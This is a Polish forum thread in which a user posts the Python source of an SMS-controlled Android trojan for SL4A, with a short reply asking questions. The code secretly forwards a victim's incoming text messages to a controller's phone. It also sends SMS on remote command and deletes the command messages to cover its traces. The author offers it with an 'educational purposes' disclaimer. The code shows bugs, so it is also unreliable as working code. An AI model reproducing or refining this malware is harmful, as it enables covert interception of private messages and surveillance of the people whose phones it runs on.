Strona 1 z 1

[Python]Trojan/sms sniffer na androida

: 28 lut 2016, 20:52
autor: Kenjin
Witam,

niedlugo opublikuje artykul z tutorialem i opisem funkcjonalnosci programu a juz teraz publikuje kod. Jest to prosty trojan sterowany smsem na telefony z systemem android mojego autorstwa. Wymaga sl4a (scripting layer for android) do dzialania. Mozna to skompilowac i uruchomic jako standalone albo tez wyzwalac poprzez interpreter (np. Qpython3).

Kod: Zaznacz cały

import sl4a

class trojan():
    loop = 1
    receiver = ''
    droid = sl4a.Android()
    sniff = 0

    def set(self):
        rec = input('podaj numer telefonu z ktorego przychodza komendy')
        self.receiver = rec

    def sniff(self):
        nieprzeczytane = self.droid.smsGetMessages(True)
        for wiadomosc in nieprzeczytane:
            tresc = wiadomosc['body']
            address = wiadomosc['address']
            tresc = tresc+' od '+address
            self.droid.smsSend(self.receiver, tresc)
            self.droid.smsMarkMessageRead(wiadomosc['_id'])

    def send(self, rec, tresc):
        self.droid.smsSend(rec, tresc)


    def main_loop(self):
        while loop == 1:
            smsy = self.droid.smsGetMessages(True)
            wiadomosci = smsy[1]

            for sms in wiadomosci:
                if sms['address'] == receiver:
                    wiad = sms['body']
                    wiad = wiad.lower()
                    if 'xtstop' in wiad:
                        self.loop = 0
                    elif 'xtsniffstart' in wiad:
                        self.sniff = 1
                    elif 'xtsniffstop' in wiad:
                        self.sniff = 0
                    elif self.sniff == 1:
                        self.sniff()
                    elif 'xtsend' in wiad:
                        czesc = wiad.split(',')
                        self.send(czesc[1], czesc[2])
                    mid = sms['_id']
                    self.droid.smsDeleteMessage(mid)


if '__name__' == '__main__':
    XT = trojan()
    print('Witaj w trojanie XT, wybierz odpowiadajaca konfiguracje a nastepnie wysylajac odpowiednie komendy SMS steruj trojanem')
    print('Lista komend:\nXTstop - konczy prace trojana\nXTsniffstart - przechwytuje wiadomosci i wysyla do receivera\nXTsniffstop - konczy przechwytywanie\nXTsend (komenda musi byc w formie XTsend,numer_tel,tresc) - wysyla sms pod podany numer o podanej tresci') 
    XT.set()
    XT.main_loop()

UWGA: testowalem tylko z grubsza, napewna sa jakies bugi, wiec zachecam do testowania
UWAGA2: W zaleznosci jakie uprawnienia damy naszej aplikacji, komenda smsDeleteMessage, moze nie zadzaialac. Wtedy program bedzie w nieskonczonosc wysylac nam smsy co moze skutkowac naliczeniem oplat za smsy. NIE PONOSZE ODPOWIEDZIALNOSCI za takie uzycie. Jesli ktoś sie na tym nie zna to nie polecam sie za to nawet zabierac, bo zawsze istnieje ryzyko nieskonczonej petli. Rozwiazaniem, moze być zastąpeinie smsDeleteMessage ->smsMarkMessageRead ale wtedy pozostanie "ślad" komend w inboxie.
UWAGA3: Skrypt napisany wyłącznie w celach edukacyjnych, wykradanie informacji osob trzecich jest karalne.
UWAGA4: Celowo nie dodalem, zadnych lini kodu ani nie opisalem technik jak ukryc dzialanie programu. Tak jak wyzej napisalem, chcialem zademonstrowac jak taki trojan dziala a nie tworzyc narzedzie do szkodzenia.

Re: [Python]Trojan/sms sniffer na androida

: 17 cze 2019, 16:55
autor: malybakus
Siemasz Kolego. Mam kilka pytań na temat Trojana. Udzielisz informacji? pozdrawiam